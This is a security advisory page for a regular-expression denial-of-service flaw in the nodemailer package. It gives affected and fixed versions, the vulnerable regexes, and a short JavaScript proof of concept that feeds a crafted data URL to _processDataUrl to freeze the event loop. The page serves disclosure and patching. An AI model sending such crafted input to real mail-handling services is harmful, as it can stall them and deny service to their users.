Packages / nodemailer / Security

ModerateVulnerabilityGHSA-9h6g-pr28-7cqpCVE-2024-58379Published 31 Jan 2024

nodemailer ReDoS when trying to send a specially crafted email

Your version

Affected releases · nodemailer

  • 6.x6.0.0 – 6.9.8Fixed in 6.9.9
  • 5.x and older0.1.1 – 5.1.1No fix, no longer updated

On 6.x, the newest line:

npm install nodemailer@6.9.9
Every release on a timeline
10.x
  1. Not affected

    10.0.0 – 10.2.1

    27 releases, latest

6.x
  1. Affected

    6.0.0 – 6.9.8

    50 releases

  2. Fixed

    6.9.9 – 6.10.1

    10 releases

5.x
  1. Affected

    5.0.0 – 5.1.1

    4 releases

4.x
  1. Affected

    4.0.0 – 4.7.0

    23 releases

3.x
  1. Affected

    3.0.0 – 3.1.8

    12 releases

2.x
  1. Affected

    2.0.0 – 2.7.2

    19 releases

1.x
  1. Affected

    1.0.0 – 1.11.0

    24 releases

0.x
  1. Affected

    0.1.1 – 0.7.1

    102 releases

305 stable releases of nodemailer, oldest to newest, one row per major.

What happens

Summary

A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop. Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.

Details

Regex: /^data:((?:[^;];)(?:[^,])),(.)$/

Path: compile -> getAttachments -> _processDataUrl

Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/

Path: _convertDataImages

PoC

gist.github.com/francoatmega/890dd5053375333e40… gist.github.com/francoatmega/9aab042b0b24968d7b…

async function exploit() {
   const MailComposer = require(\"nodemailer/lib/mail-composer\");
   const MailComposerObject = new MailComposer();

   // Create a malicious data URL that will cause excessive backtracking
   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';

   // Call the vulnerable method with the crafted input
   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}

await exploit();

Impact

ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.